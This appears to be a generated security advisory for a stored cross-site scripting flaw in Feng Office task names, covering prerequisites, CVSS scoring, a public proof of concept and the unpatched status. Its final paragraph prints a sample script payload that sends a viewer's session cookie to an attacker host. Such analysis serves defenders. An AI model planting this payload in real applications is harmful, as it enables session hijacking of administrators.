Feng Office CVE-2026-90497

Exploitation requires the attacker to hold a low-privilege authenticated account on the target Feng Office instance (PR:L per CVSS 4.0 vector), specifically with permission to create or modify tasks - a standard capability for regular project members. A victim user with sufficient privilege must subsequently view the task containing the injected payload (UI:P). Anonymous unauthenticated attackers cannot exploit this directly. No special server configuration, non-default module, or unusual deployment mode is required beyond having the task module active, which is default in Feng Office. Exploitation is therefore scoped to insider-threat scenarios, compromised credentials, or environments permitting self-registration.

The CVSS 4.0 score of 5.1 accurately reflects medium severity. The network attack vector (AV:N) is partially offset by the requirement for low-privilege authentication (PR:L) and passive victim interaction (UI:P), which limit opportunistic mass exploitation. No EPSS score is provided in the input; the vulnerability is not in CISA KEV, confirming no confirmed active exploitation at time of analysis. The publicly available POC (hosted on Google Drive per references) materially raises the practical threat level for organizations running this software, as weaponization effort is minimal once a valid low-privilege account is obtained. The absence of any vendor patch - confirmed by vendor non-response to disclosure - means the vulnerability remains permanently unaddressed in current releases. Real-world risk is primarily bounded by Feng Office's limited deployment footprint rather than inherent technical complexity.

An authenticated low-privilege Feng Office user (e.g., a regular project member) creates a task and sets the task name to a crafted XSS payload such as <script>fetch('https://attacker.tld/?c='+document.cookie)</script>. When a project manager or administrator views the task list or task detail page, the payload executes in their browser, exfiltrating their session token to the attacker. A public POC demonstrating this attack path is available via the Google Drive link in the VulDB reference.